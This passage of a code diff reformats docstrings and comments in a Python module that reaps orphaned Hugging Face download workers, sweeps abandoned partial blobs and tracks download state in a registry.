partial nothing will ever finish. Bounded, because a pid we cannot reap is not a reason to hold up startup, and answering False there matters: a survivor must keep its breadcrumb and must not have its live partial claimed as ours to delete."""+ # Repeated here because this one sends the signal, and a helper that kills should not depend on every future caller having checked first.if not is_signalable_pid(pid):return Falsetry:@@ -340,16 +289,7 @@ def _settle_orphaned_download(transport: Optional[str],hub_cache: Optional[str] = None,) -> None:- """Persist a cancel marker for a reaped orphan still mid-download so the next- launch settles it to a resumable "cancelled" state instead of a phantom-running- row.-- Gated on surviving partial state and on the recorded manifest not already- verifying against an active snapshot, so a download that finished before its- breadcrumb was cleaned up is never mislabeled cancelled. For a GGUF variant- manifest with blob hashes, the partial-state check is scoped to those hashes so- a sibling variant cannot contaminate this orphan's state. The recorded- transport is preserved so the resume affordance stays accurate."""+ """Persist a cancel marker for a reaped orphan still mid-download so the next launch settles it to a resumable "cancelled" state instead of a phantom-running row. Gated on surviving partial state and on the recorded manifest not already verifying against an active snapshot, so a download that finished before its breadcrumb was cleaned up is never mislabeled cancelled. For a GGUF variant manifest with blob hashes, the partial-state check is scoped to those hashes so a sibling variant cannot contaminate this orphan's state. The recorded transport is preserved so the resume affordance stays accurate."""if repo_type not in ("model", "dataset") or not repo_id:returnfrom hub.utils import download_manifest@@ -393,16 +333,7 @@ def _settle_orphaned_download(def reap_orphan_workers() -> None:- """Kill download workers left running by a previous backend instance.-- Verifies each breadcrumb's PID is alive AND its command line is one of our- workers before terminating, so a recycled PID can't take down an unrelated- process. A resumable partial is never touched, so a reaped download stays- resumable; an interrupted one with bytes on disk is settled to a cancelled- marker (see :func:`_settle_orphaned_download`) so its resume affordance- survives a hard crash like a graceful shutdown's does. A partial nothing can- resume has no affordance to preserve and is swept- (see :func:`sweep_abandoned_partials`). Runs once at startup and never raises."""+ """Kill download workers left running by a previous backend instance. Verifies each breadcrumb's PID is alive AND its command line is one of our workers before terminating, so a recycled PID cannot take down an unrelated process. A resumable partial is never touched; an interrupted one with bytes on disk is settled to a cancelled marker (see :func:`_settle_orphaned_download`) so its resume affordance survives a hard crash as a graceful shutdown's does, and a partial nothing can resume is swept (see :func:`sweep_abandoned_partials`). Runs once at startup and never raises."""reaped: list[tuple[str, str, Optional[str]]] = []parent = state_dir.workers_dir()if parent is None:@@ -411,8 +342,7 @@ def reap_orphan_workers() -> None:try:entries = list(parent.iterdir())except OSError:- # Unreadable breadcrumbs means no worker can be claimed as reaped, not that the caches go unswept:- # they are a separate tree.+ # Unreadable breadcrumbs means no worker can be claimed as reaped, not that the caches go unswept: they are a separate tree._boot_sweep(reaped)returnfor entry in entries:@@ -425,22 +355,18 @@ def reap_orphan_workers() -> None:continuepid = data.get("pid") if isinstance(data, dict) else Nonerepo_id = data.get("repo_id") if isinstance(data, dict) else None- # pid 1 as well as 0 and negatives: the cmdline check below is what keeps this honest, but a- # record naming pid 1 once slipped through the reaper's start-time check.+ # pid 1 as well as 0 and negatives: the cmdline check below is what keeps this honest, but a record naming pid 1 once slipped through the reaper's start-time check.signalable = is_signalable_pid(pid)try:if not signalable:- # Its repo fields are still readable, and the settle below preserves the partial's resume marker:- # unlinking from here would cost the user a restarted download to pay for a bug that is ours.+ # Its repo fields are still readable, and the settle below preserves the partial's resume marker: unlinking from here would cost the user a restarted download to pay for a bug that is ours.passelif not _process_alive(pid):- # Already gone, which is better proof than killing it ourselves; its partial is ours to sweep even- # though this invocation reaped nothing.+ # Already gone, which is better proof than killing it ourselves; its partial is ours to sweep even though this invocation reaped nothing.reaped.append((data.get("repo_type") or "model", repo_id, data.get("hub_cache")))elif _is_our_worker(pid, repo_id):if not _kill_orphan(pid):- # Still running: keeping the breadcrumb keeps it tracked for the next boot, and claiming no- # ownership keeps its live partial out of the sweep.+ # Still running: keeping the breadcrumb keeps it tracked for the next boot, and claiming no ownership keeps its live partial out of the sweep.logger.warning("Could not reap download worker pid=%s repo=%s; leaving its ""breadcrumb and partial in place.",@@ -448,8 +374,7 @@ def reap_orphan_workers() -> None:repo_id,)continue- # The sweep has to come after the kill, not before, or it reads the still-held blob lock and spares- # a file nothing will ever finish.+ # The sweep has to come after the kill, not before, or it reads the still-held blob lock and spares a file nothing will ever finish.reaped.append((data.get("repo_type") or "model", repo_id, data.get("hub_cache")))logger.warning("Reaped orphaned download worker pid=%s repo=%s from a "@@ -471,13 +396,7 @@ def reap_orphan_workers() -> None:def _boot_sweep(reaped: "Sequence[tuple[str, str, Optional[str]]]") -> None:- """Startup cleanup, run only once every surviving worker above has been killed.-- The reaped repos are swept inline: that work is bounded by the breadcrumbs and it settles- the caches a returning user is most likely to look at. The all-caches pass is not bounded- by anything -- it walks every repo dir, stats every partial and probes locks -- so it goes- to a thread rather than holding the lifespan open ahead of the first request.- """+ """Startup cleanup, run only once every surviving worker above has been killed. The reaped repos are swept inline, since that work is bounded by the breadcrumbs and settles the caches a returning user is most likely to look at; the all-caches pass is bounded by nothing (it walks every repo dir, stats every partial and probes locks) so it goes to a thread rather than holding the lifespan open ahead of the first request."""swept = 0try:for repo_type, repo_id, hub_cache in reaped:@@ -518,8 +437,7 @@ class _PurgeOutcome(NamedTuple):failed: int-# Only the unresumable sweep waits out ABANDONED_PARTIAL_SECONDS: it reclaims disk, while a marker--# mismatch purge exists to stop a corrupt append and cannot defer.+# Only the unresumable sweep waits out ABANDONED_PARTIAL_SECONDS: it reclaims disk, while a marker-mismatch purge exists to stop a corrupt append and cannot defer.def _purge_incomplete_blobs(@@ -531,23 +449,11 @@ def _purge_incomplete_blobs(owned_hashes: Optional[frozenset[str]] = None,owns_all_blobs: bool = False,) -> _PurgeOutcome:- """Delete selected partials while preserving protected concurrent writes.-- Report failed deletions so sparse partials cannot receive an HTTP marker.-- ``unresumable_only`` restricts the sweep to partials no writer can reuse AND that nothing- has touched for ``ABANDONED_PARTIAL_SECONDS``. Unlinking a live partial does not stop its- writer on POSIX; it keeps filling an unlinked inode and then fails at the rename, so the- cost of that mistake is another client's whole download.-- ``owned_hashes``, or ``owns_all_blobs`` for a job that owns its whole repo dir (one with no- variant, which claim() will not let a sibling share), are blobs whose only Unsloth-side- writer has just been reaped. Those do not wait out the full grace -- the corpse would- outlive the retry that follows a cancel, which is the frozen bar this whole change is- about -- but they are not simply trusted either: registry ownership proves OUR writer is- gone, never that no independent process shares the cache. They go through a stillness- probe instead, which is the one liveness test that survives a filesystem where flock is- granted to every caller and the lock therefore reads free while somebody writes.+ """Delete selected partials while preserving protected concurrent writes, reporting failed deletions so sparse partials cannot receive an HTTP marker.++ ``unresumable_only`` restricts the sweep to partials no writer can reuse AND that nothing has touched for ``ABANDONED_PARTIAL_SECONDS``. Unlinking a live partial does not stop its writer on POSIX: it keeps filling an unlinked inode and then fails at the rename, so the cost of that mistake is another client's whole download.++ ``owned_hashes``, or ``owns_all_blobs`` for a job that owns its whole repo dir, are blobs whose only Unsloth-side writer has just been reaped. Those do not wait out the full grace, since the corpse would outlive the retry that follows a cancel, but they are not simply trusted either: registry ownership proves OUR writer is gone, never that no independent process shares the cache. They go through a stillness probe instead, the one liveness test that survives a filesystem where flock is granted to every caller."""now = time.time()blobs_dir = entry / "blobs"@@ -575,8 +481,7 @@ def _purge_incomplete_blobs(if unresumable_only:if partial_is_resumable(blob.name, entry.parent):continue- # Neither signal is sufficient alone: the lock is precise but upstream calls it best-effort and- # some filesystems grant it to everyone, while mtime cannot tell a dead writer from a stalled one.+ # Neither signal is sufficient alone: the lock is precise but upstream calls it best-effort and some filesystems grant it to everyone, while mtime cannot tell a dead writer from a stalled one.if blob_download_lock_held(entry, blob_hash):continueowned = owns_all_blobs or bool(owned_hashes and blob_hash in owned_hashes)@@ -590,8 +495,7 @@ def _purge_incomplete_blobs(blob.unlink()removed += 1except FileNotFoundError:- # A peer finalized or removed it after enumeration, so the requested end state was reached and this- # is not a failed purge.+ # A peer finalized or removed it after enumeration, so the requested end state was reached and this is not a failed purge.continueexcept OSError:failed += 1@@ -605,12 +509,7 @@ _STILLNESS_PROBE_SECONDS = 2.0def _purge_still_partials(watched: "Sequence[tuple[Path, str, int, float]]") -> _PurgeOutcome:- """Delete the owned partials that do not move while we watch them.-- Sampled once before, once after a single shared sleep, so the cost is one pause per sweep- rather than one per file. Anything that grew or was touched in between has a live writer,- whatever the advisory lock had to say about it.- """+ """Delete the owned partials that do not move while we watch them. Sampled once before and once after a single shared sleep, so the cost is one pause per sweep rather than one per file. Anything that grew or was touched in between has a live writer, whatever the advisory lock had to say about it."""if not watched:return _PurgeOutcome(0, 0)time.sleep(_STILLNESS_PROBE_SECONDS)@@ -695,8 +594,7 @@ def _marker_path(entry: Path, variant: Optional[str] = None) -> Path:def _is_transport_marker_file(path: Path) -> bool:- # Matches ".transport", its tmps and variant-scoped ".transport.gguf-*"; real HF cache entries- # (blobs/refs/snapshots/.no_exist) never start with ".transport.".+ # Matches ".transport", its tmps and variant-scoped ".transport.gguf-*"; real HF cache entries (blobs/refs/snapshots/.no_exist) never start with ".transport.".return path.name == TRANSPORT_MARKER_NAME or path.name.startswith(f"{TRANSPORT_MARKER_NAME}.")@@ -710,16 +608,14 @@ def _read_marker_value(marker: Path) -> Optional[str]:return Nonevalue = marker.read_text(encoding = "utf-8").strip()except (OSError, UnicodeDecodeError):- # UnicodeDecodeError is a ValueError, so it would escape and abort prepare_cache_for_transport; an- # unknown value just purges and restarts.+ # UnicodeDecodeError is a ValueError, so it would escape and abort prepare_cache_for_transport; an unknown value just purges and restarts.return Nonereturn value if value in VALID_TRANSPORTS else Nonedef _write_marker_value(marker: Path, mode: str) -> None:try:- # tmp + rename so a SIGKILL mid-write cannot leave a half-written marker, with a per-process tmp- # name so concurrent writers do not clobber tmps.+ # tmp + rename so a SIGKILL mid-write cannot leave a half-written marker, with a per-process tmp name so concurrent writers do not clobber tmps.tmp = marker.with_name(f"{marker.name}.tmp-{os.getpid()}")tmp.write_text(mode, encoding = "utf-8")os.replace(tmp, marker)@@ -758,44 +654,17 @@ def prepare_cache_for_transport(protected_blob_hashes: Optional[frozenset[str]] = None,root: Optional[Path] = None,) -> int:- """Guarantee any pre-existing ``.incomplete`` blobs are SAFE to resume under- *mode*. Returns the number of partial blobs purged for untrusted provenance.-- Two marker scopes govern GGUF downloads. ``only_blob_hashes`` are the- variant's own (main quant) blobs, judged by the ``variant``-scoped marker;- ``None`` widens the scope to every partial for full-repo snapshots/datasets.- ``companion_blob_hashes`` are blobs shared across sibling variants (a vision- mmproj), judged by a separate repo-scoped companion marker — so a companion- partial is trusted against the transport that wrote it, not against- whichever sibling variant resumes next.-- The contract:- - HTTP mode: a partial is trusted ONLY when its governing marker equals- ``"http"``. Any other case (missing/unreadable/mismatched marker) purges,- since the HTTP resumer would otherwise append to a sparse- XET/parallel-Range partial and silently produce a corrupt blob. On- huggingface_hub >= 1.18 there is no resumer left to trust a partial for- (see ``hf_partials_are_resumable``), so the marker is bypassed and every- selected partial purges.- - XET mode: incomplete blobs are purged (``hf_xet.download_files`` rewrites- from scratch, so this only fixes UI accounting — bytes already in CAS are- reused via the chunk-cache). Scoped to ``only_blob_hashes``: companion- blobs fall outside that set and survive (shared, and XET overwrites them).-- ``protected_blob_hashes`` are blobs a concurrent same-repo peer is writing;- they are excluded from every purge so a shared companion is never deleted- mid-write.-- Scope: ``root`` selects the cache captured by the caller. It defaults to the- active ``HF_HUB_CACHE`` root for workers that inherit their cache through- the environment. Markers are written for the new mode before returning,- except when an HTTP purge cannot remove every selected partial. Withholding- the marker keeps the surviving partial untrusted.+ """Guarantee any pre-existing ``.incomplete`` blobs are SAFE to resume under *mode*. Returns the number of partial blobs purged for untrusted provenance.++ Two marker scopes govern GGUF downloads: ``only_blob_hashes`` are the variant's own main-quant blobs, judged by the ``variant``-scoped marker, and ``None`` widens the scope to every partial for full-repo snapshots/datasets. ``companion_blob_hashes`` are blobs shared across sibling variants (a vision mmproj), judged by a separate repo-scoped companion marker, so a companion partial is trusted against the transport that wrote it rather than whichever sibling variant resumes next.++ In HTTP mode a partial is trusted ONLY when its governing marker equals ``"http"``; any missing, unreadable or mismatched marker purges, since the HTTP resumer would otherwise append to a sparse XET/parallel-Range partial and silently produce a corrupt blob. On huggingface_hub >= 1.18 there is no resumer left to trust a partial for, so the marker is bypassed and every selected partial purges. In XET mode incomplete blobs are purged (``hf_xet.download_files`` rewrites from scratch, so this only fixes UI accounting), scoped to ``only_blob_hashes`` so companion blobs survive.++ ``protected_blob_hashes`` are blobs a concurrent same-repo peer is writing and are excluded from every purge. ``root`` selects the cache captured by the caller, defaulting to the active ``HF_HUB_CACHE`` root for workers that inherit their cache through the environment. Markers are written for the new mode before returning, except when an HTTP purge cannot remove every selected partial, since withholding the marker keeps the surviving partial untrusted."""if mode not in VALID_TRANSPORTS:if mode == TRANSPORT_AUTO:- # "auto" is a request preference, not a cache writer: naming it turns "invalid transport" into the- # actual bug.+ # "auto" is a request preference, not a cache writer: naming it turns "invalid transport" into the actual bug.raise ValueError(f"{TRANSPORT_AUTO!r} must be resolved to a concrete transport before preparing the "f"cache; expected one of {sorted(VALID_TRANSPORTS)}"@@ -813,8 +682,7 @@ def prepare_cache_for_transport(except OSError:return 0if not entries:- # Pre-create the repo dir so the marker lands before the worker writes any bytes; otherwise a- # SIGKILL mid-download leaves a partial with no marker that the resume then purges.+ # Pre-create the repo dir so the marker lands before the worker writes any bytes; otherwise a SIGKILL mid-download leaves a partial with no marker that the resume then purges.canonical = repo_cache_dir_name(repo_type, repo_id)new_entry = root / canonicaltry:@@ -831,11 +699,7 @@ def prepare_cache_for_transport(if mode == TRANSPORT_XET:main_purge = _purge_incomplete_blobs(entry, only_blob_hashes, protected)else:- # A matching marker vouches for provenance, which is only worth something while something can- # still append to the partial it vouches for. When nothing can, what survives is dead weight- # that holds the disk the refetch needs and, carrying the etag of the blob being refetched,- # pins the bar to its own stale high-water mark until the new attempt overtakes it. Sweep it,- # but only once abandoned.+ # A matching marker vouches for provenance, which is only worth something while something can still append to the partial it vouches for. When nothing can, what survives is dead weight that holds the disk the refetch needs and, carrying the etag of the blob being refetched, pins the bar to its own stale high-water mark until the new attempt overtakes it. Sweep it, but only once abandoned.if _read_marker(entry, variant) != mode:main_purge = _purge_incomplete_blobs(entry, only_blob_hashes, protected)else:@@ -888,17 +752,7 @@ def purge_empty_marker_dir(repo_id: str,variant: Optional[str] = None,) -> bool:- """Remove the failed download's own transport marker from a marker-only dir.-- ``prepare_cache_for_transport`` pre-creates the dir + marker before any- download; a failure during validation/auth/network setup leaves the dir as- marker-only litter. Only the failed download's OWN marker is removed (the- repo-scope ``.transport`` or the variant-scoped ``.transport.gguf-*`` plus- its ``.tmp-*`` siblings); a sibling variant's marker and the shared- ``.transport.companion`` are left intact, so cancelling one quant never- strips a peer's provenance. A dir holding ``blobs/``/``snapshots/``/``refs/``- won't match and is left untouched, so a resumable partial isn't blown away.- """+ """Remove the failed download's own transport marker from a marker-only dir. ``prepare_cache_for_transport`` pre-creates the dir and marker before any download, so a failure during validation/auth/network setup leaves the dir as marker-only litter. Only the failed download's OWN marker is removed (the repo-scope ``.transport`` or the variant-scoped ``.transport.gguf-*`` plus its ``.tmp-*`` siblings); a sibling variant's marker and the shared ``.transport.companion`` are left intact, so cancelling one quant never strips a peer's provenance. A dir holding ``blobs/``/``snapshots/``/``refs/`` will not match, so a resumable partial is not blown away."""cleaned = Falsefor entry in iter_repo_cache_dirs(repo_type, repo_id):try:@@ -952,21 +806,12 @@ def sweep_abandoned_partials(owns_all_blobs: bool = False,root: Optional[str | Path] = None,) -> int:- """Remove partials nothing can resume and nothing has touched. Returns how many went.-- ``prepare_cache_for_transport`` runs once, before a download, and skips anything still- inside the abandonment grace. That skip lands on the common case: the orphan is the file a- hard kill left behind, and the user restarts within seconds of the kill that made it. Run- this when a download reaches a terminal state and every file skipped then gets a second- look, by which point the grace has long since elapsed.- """- # DownloadMetadata.hub_cache is a str and every caller hands its captured root straight through, so- # normalize here rather than trusting each one.+ """Remove partials nothing can resume and nothing has touched; returns how many went. ``prepare_cache_for_transport`` runs once, before a download, and skips anything still inside the abandonment grace, which lands on the common case: the orphan is the file a hard kill left behind and the user restarts within seconds. Run this when a download reaches a terminal state and every file skipped then gets a second look, by which point the grace has long since elapsed."""+ # DownloadMetadata.hub_cache is a str and every caller hands its captured root straight through, so normalize here rather than trusting each one.if isinstance(root, str):root = Path(root) if root else Noneremoved = 0- # The destructive iterator, not the active one: on a case-insensitive collision the active iterator- # yields every spelling while this one resolves to the exact directory or refuses.+ # The destructive iterator, not the active one: on a case-insensitive collision the active iterator yields every spelling while this one resolves to the exact directory or refuses.for entry in iter_destructive_repo_cache_dirs(repo_type, repo_id, root = root):outcome = _purge_incomplete_blobs(entry,@@ -981,14 +826,7 @@ def sweep_abandoned_partials(def sweep_abandoned_partials_in_all_caches() -> int:- """Boot-time sweep across every known HF cache root. Returns how many partials went.-- Not driven off worker breadcrumbs, because ``drop_process`` removes a breadcrumb during- ``finalize_worker_exit`` -- before the terminal-state sweep runs -- so a partial that sweep- skips for being freshly written has no breadcrumb left to be found by. Walking the caches- instead needs no record to survive, and every deletion still has to clear the same- unresumable, unlocked and abandoned gates.- """+ """Boot-time sweep across every known HF cache root; returns how many partials went. Not driven off worker breadcrumbs, because ``drop_process`` removes a breadcrumb during ``finalize_worker_exit``, before the terminal-state sweep runs, so a partial that sweep skips for being freshly written has no breadcrumb left to be found by. Walking the caches needs no record to survive, and every deletion still has to clear the same unresumable, unlocked and abandoned gates."""removed = 0for root in hf_cache_roots():try:@@ -1011,26 +849,11 @@ def is_resumable_partial() -> bool:"""True only when a partial exists AND something can still resume from it.- Two ways to fail that. XET partials exist on disk but ``hf_xet`` rewrites the destination- from scratch, so the marker has to say HTTP. And an HTTP partial is only resumable while a- writer that reopens it is installed; the UI turns this flag into "Resume with HTTP to keep- the progress you already have", which must not be promised for bytes about to be swept.-- Decided per cache entry, the way :func:`prepare_cache_for_transport` decides what to purge,- because one repo can own several active directories at once (a case-sensitive filesystem- holds ``models--Org--Model`` beside ``models--org--model``). A marker only vouches for- partials sitting beside it.-- Within an entry the split matters too: main blobs answer to the variant marker, while a- shared companion (mmproj, MTP drafter) answers to ``.transport.companion``. With a- ``variant`` the manifest says which hashes are which; a blob in neither set, and a variant- with no manifest, back nothing rather than an unscoped yes.-- ``root`` is the hub cache the row being judged was found in. A row can come from a- remembered, legacy or custom cache, and that root holds both its own partials and its own- manifest scope (state is keyed by a per-cache digest), so leaving it out asked the ACTIVE- root about a directory it does not contain. ``None`` keeps the active root, for callers- that have no particular row in hand.+ Two ways to fail that: XET partials exist on disk but ``hf_xet`` rewrites the destination from scratch, so the marker has to say HTTP; and an HTTP partial is only resumable while a writer that reopens it is installed, and the UI turns this flag into "Resume with HTTP to keep the progress you already have", which must not be promised for bytes about to be swept.++ Decided per cache entry, the way :func:`prepare_cache_for_transport` decides what to purge, because one repo can own several active directories at once (a case-sensitive filesystem holds ``models--Org--Model`` beside ``models--org--model``) and a marker only vouches for partials sitting beside it. Within an entry the split matters too: main blobs answer to the variant marker while a shared companion answers to ``.transport.companion``, and a blob in neither set, or a variant with no manifest, backs nothing rather than an unscoped yes.++ ``root`` is the hub cache the row being judged was found in: a row can come from a remembered, legacy or custom cache, and that root holds both its own partials and its own manifest scope, so leaving it out asked the ACTIVE root about a directory it does not contain. ``None`` keeps the active root."""main, companion = (_manifest_hash_split(repo_type, repo_id, variant, root = root) if variant else (set(), set())@@ -1072,9 +895,7 @@ def _manifest_hash_split(*,root: Optional[Path] = None,) -> tuple[set[str], set[str]]:- """``(main, companion)`` blob hashes from the variant's manifest, split the way the worker- splits them when it asks for a purge. Empty pair when either step cannot answer, which- reads as "no resume to promise"."""+ """``(main, companion)`` blob hashes from the variant's manifest, split the way the worker splits them when it asks for a purge. Empty pair when either step cannot answer, which reads as "no resume to promise"."""from hub.utils import download_manifestmanifest = download_manifest.read_manifest(repo_type, repo_id, variant, hub_cache = root)@@ -1097,11 +918,7 @@ def incomplete_blob_hashes(resumable_only: bool = False,root: Optional[Path] = None,) -> set[str]:- """Logical blob hashes with a partial on disk.-- ``resumable_only`` keeps just the ones a later attempt could actually append to, which is- what a "resume and keep your progress" claim has to be built on.- """+ """Logical blob hashes with a partial on disk. ``resumable_only`` keeps just the ones a later attempt could actually append to, which is what a "resume and keep your progress" claim has to be built on."""out: set[str] = set()entries = (iter_active_repo_cache_dirs(repo_type, repo_id, root = root)@@ -1134,13 +951,7 @@ def completed_blob_bytes(*,root: Optional[Path] = None,) -> int:- """Sum finalized blob bytes for *blob_hashes* in a single HF cache root.-- A worker only writes to its captured ``HF_HUB_CACHE`` root, so a baseline- must be scoped to that root (``root``), not re-resolved to whatever cache is- active now; otherwise a runtime cache switch makes the retry baseline count- bytes from the wrong disk.- """+ """Sum finalized blob bytes for *blob_hashes* in a single HF cache root. A worker only writes to its captured ``HF_HUB_CACHE`` root, so a baseline must be scoped to that root rather than re-resolved to whatever cache is active now; otherwise a runtime cache switch makes the retry baseline count bytes from the wrong disk."""if not blob_hashes:return 0total = 0@@ -1165,17 +976,10 @@ def existing_blob_bytes(*,root: Optional[Path] = None,) -> int:- """Bytes a download will NOT have to fetch again for *blob_hashes*, in *root* or, when it is- None, the active HF cache root: finalized blobs, plus partials something can still resume- from. A row pinned to another root must pass it, since a resume writes into the root the row- names and blobs in the active one are not bytes it can reuse. A blob is in exactly one state,- so summing both candidate names never double-counts. Used to size what a (possibly resumed)- download still needs to write before the run starts."""+ """Bytes a download will NOT have to fetch again for *blob_hashes*, in *root* or, when it is None, the active HF cache root: finalized blobs plus partials something can still resume from. A row pinned to another root must pass it, since a resume writes into the root the row names. A blob is in exactly one state, so summing both candidate names never double-counts. Used to size what a (possibly resumed) download still needs to write before the run starts."""if not blob_hashes:return 0- # One tally for ALL the repo dirs the root holds: the Hub resolves repo ids case-insensitively- # while huggingface_hub keeps the caller's casing, so a case-sensitive filesystem holds two copies- # of one blob and summing the dirs counted that shard twice.+ # One tally for ALL the repo dirs the root holds: the Hub resolves repo ids case-insensitively while huggingface_hub keeps the caller's casing, so a case-sensitive filesystem holds two copies of one blob and summing the dirs counted that shard twice.present = {blob_hash: 0 for blob_hash in blob_hashes}for entry in iter_active_repo_cache_dirs(repo_type, repo_id, root = root):blobs_dir = entry / "blobs"@@ -1198,24 +1002,15 @@ def existing_blob_bytes(and not partial_is_resumable(blob.name, entry.parent)and not blob_download_lock_held(entry, blob_hash)):- # Callers spend this on "bytes we will not have to fetch again", and _preflight_disk_space- # subtracts it from the space a download needs. An unresumable partial is refetched in full into- # a new path, so counting it would clear a download for a disk that cannot hold it. A LOCKED one- # is different: a live peer is finishing it and snapshot_download blocks on that lock and reuses- # the result, so those bytes are not ours to find room for. Two GGUF variants sharing an mmproj- # hit this every time.+ # Callers spend this on "bytes we will not have to fetch again", and _preflight_disk_space subtracts it from the space a download needs. An unresumable partial is refetched in full into a new path, so counting it would clear a download for a disk that cannot hold it. A LOCKED one is different: a live peer is finishing it and snapshot_download blocks on that lock and reuses the result, so those bytes are not ours to find room for. Two GGUF variants sharing an mmproj hit this every time.continue- # Measured by the bytes actually ON DISK: hf_transfer's parallel Range writer leaves a sparse file- # whose st_size runs ahead of what was written, observed at 1.2 GB reported against 112 MB. A- # finalized blob is whole by construction, so it keeps st_size: st_blocks is smaller than the file- # on a compressing filesystem.+ # Measured by the bytes actually ON DISK: hf_transfer's parallel Range writer leaves a sparse file whose st_size runs ahead of what was written, observed at 1.2 GB reported against 112 MB. A finalized blob is whole by construction, so it keeps st_size, since st_blocks is smaller on a compressing filesystem.bytes_here = (blob_bytes_present(blob)if partial_hash is not Noneelse max(0, int(blob.stat().st_size)))- # Broken advisory locks can leave several process-unique writers for one etag: duplicate attempts,- # not additive completion, so keep the largest.+ # Broken advisory locks can leave several process-unique writers for one etag: duplicate attempts, not additive completion, so keep the largest.present[blob_hash] = max(present[blob_hash], max(0, int(bytes_here)))except OSError:continue@@ -1243,7 +1038,6 @@ class DownloadMetadata:cancel_marker_transport: Optional[str] = None# GGUF variant main/writable hashes, identifying the variant-specific shards for concurrency decisions.blob_hashes: frozenset[str] = field(default_factory = frozenset)- # Includes the shared mmproj companion for vision GGUF repos.progress_blob_hashes: frozenset[str] = field(default_factory = frozenset)# Bytes already complete before this job started; not counted as this run's progress.completed_baseline_bytes: int = 0@@ -1276,9 +1070,7 @@ def _repo_of_key(key: str) -> str:def variant_from_key(key: str) -> Optional[str]:- """Parse the variant suffix from a 'repo_id::variant' key. Empty- variant returns None — matches the manifest/marker calling- convention for full-snapshot models and datasets."""+ """Parse the variant suffix from a 'repo_id::variant' key. An empty variant returns None, matching the manifest/marker calling convention for full-snapshot models and datasets."""if "::" not in key:return None_, _, variant = key.partition("::")@@ -1316,15 +1108,7 @@ _NAMED_REGISTRIES_LOCK = threading.Lock()def terminate_active_downloads() -> None:- """Best-effort shutdown hook called from the FastAPI lifespan.-- Walks every live DownloadRegistry instance and SIGKILLs any in-flight- workers so the parent exit path doesn't leak zombies. The WeakSet drops- ad-hoc registries (e.g. test fixtures) automatically once their last- strong reference is gone; the long-lived named registries stay reachable- via ``_NAMED_REGISTRIES``. Quiet on its own failures: shutdown must not- raise.- """+ """Best-effort shutdown hook called from the FastAPI lifespan. Walks every live DownloadRegistry instance and SIGKILLs any in-flight workers so the parent exit path does not leak zombies. The WeakSet drops ad-hoc registries (e.g. test fixtures) once their last strong reference is gone, while the long-lived named registries stay reachable via ``_NAMED_REGISTRIES``. Quiet on its own failures: shutdown must not raise."""for registry in list(_REGISTRIES):try:registry.terminate_all("download")@@ -1333,13 +1117,7 @@ def terminate_active_downloads() -> None:class DownloadRegistry:- """Thread-safe state machine for background HF download jobs.-- One instance backs model downloads (keys ``repo_id::variant``) and another- backs dataset downloads (keys ``repo_id``). Repo-scoped tracking serializes- full snapshots, datasets, cross-transport work, and deletes; same-transport- GGUF variants may run concurrently.- """+ """Thread-safe state machine for background HF download jobs. One instance backs model downloads (keys ``repo_id::variant``) and another backs dataset downloads (keys ``repo_id``). Repo-scoped tracking serializes full snapshots, datasets, cross-transport work and deletes; same-transport GGUF variants may run concurrently."""def __init__(self, max_terminal: int = 64) -> None:self._jobs: dict[str, DownloadState] = {}@@ -1349,8 +1127,7 @@ class DownloadRegistry:self._cancel_marker_transports: dict[str, str] = {}self._pending_cancel: dict[str, Optional[int]] = {}self._generations: dict[str, int] = {}- # Monotonic across keys so an evicted then re-claimed key never reuses a prior generation, which- # would let a stale cancel match a new run.+ # Monotonic across keys so an evicted then re-claimed key never reuses a prior generation, which would let a stale cancel match a new run.self._generation_seq = 0self._deleting: dict[str, set[Optional[str]]] = {}# Publish external cache owners under the same lock as Model Hub jobs.@@ -1482,9 +1259,7 @@ class DownloadRegistry:return generation is None or self._generations.get(key, 0) == generationdef register_process(self, key: str, proc: subprocess.Popen) -> bool:- """Register *proc* for *key*. Returns ``False`` when a cancel was- requested during the claim→register window (the caller must kill- *proc* immediately); ``True`` otherwise."""+ """Register *proc* for *key*. Returns ``False`` when a cancel was requested during the claim to register window (the caller must kill *proc* immediately), ``True`` otherwise."""key = normalize_job_key(key)metadata_to_persist: Optional[DownloadMetadata] = Noneregistered = False@@ -1537,9 +1312,7 @@ class DownloadRegistry:key: str,generation: Optional[int] = None,) -> bool:- """Record a cancel for an active job whose worker process hasn't- registered yet. Returns ``True`` when the pending cancel was armed,- so :func:`register_process` will kill the process on arrival."""+ """Record a cancel for an active job whose worker process has not registered yet. Returns ``True`` when the pending cancel was armed, so :func:`register_process` will kill the process on arrival."""key = normalize_job_key(key)with self._lock:if self._jobs.get(key, DownloadState("idle")).state not in _ACTIVE_STATES:@@ -1551,10 +1324,7 @@ class DownloadRegistry:return Truedef cancel_requested(self, key: str) -> bool:- """True when *we* initiated a stop for *key* (a pending cancel armed- before the worker registered, or the job already moved to- ``cancelling``). Lets exit classification tell an intentional kill- apart from an OOM/external SIGKILL."""+ """True when *we* initiated a stop for *key* (a pending cancel armed before the worker registered, or the job already moved to ``cancelling``). Lets exit classification tell an intentional kill apart from an OOM/external SIGKILL."""key = normalize_job_key(key)with self._lock:if key in self._pending_cancel:@@ -1602,8 +1372,7 @@ class DownloadRegistry:with self._lock:if repo in self._repository_owners:return False, "repository_owned"- # Run the final admission check under the registry lock: the GGUF load path establishes its marker- # before its active-job probe, so either this claim sees that marker or the load sees this claim.+ # Run the final admission check under the registry lock: the GGUF load path establishes its marker before its active-job probe, so either this claim sees that marker or the load sees this claim.if admission_check is not None and not admission_check():return False, "admission_blocked"deleting_scopes = self._deleting.get(repo)@@ -1622,9 +1391,7 @@ class DownloadRegistry:stale_keys.append(other_key)continueother_metadata = self._metadata.get(other_key)- # Same-transport variants of one model run concurrently, since each worker purges only its own- # re-resolved main blobs and the shared companion is guarded by its marker; cross-transport stays- # serialized so an HTTP resume and an XET rewrite never write one blob at once.+ # Same-transport variants of one model run concurrently, since each worker purges only its own re-resolved main blobs and the shared companion is guarded by its marker; cross-transport stays serialized so an HTTP resume and an XET rewrite never write one blob at once.concurrent_gguf_variants = (repo_type == "model"and bool(variant)@@ -1643,9 +1410,7 @@ class DownloadRegistry:return False, conflict_statecurrent = self._jobs.get(key, DownloadState("idle")).stateif current in _ACTIVE_STATES and not replace_active:- # A scope slot is shared by every file set that rides it (the images and video pages both- # key as "@diffusion"), so adopting the live job would let the caller wait on files it- # never asked for. Reject instead, under the lock.+ # A scope slot is shared by every file set that rides it (the images and video pages both key as "@diffusion"), so adopting the live job would let the caller wait on files it never asked for. Reject instead, under the lock.live = self._metadata.get(key)if (scoped_files is not None@@ -1688,11 +1453,7 @@ class DownloadRegistry:return True, "running"def claim_repository_owner(self, repo_id: str, owner: object) -> tuple[bool, 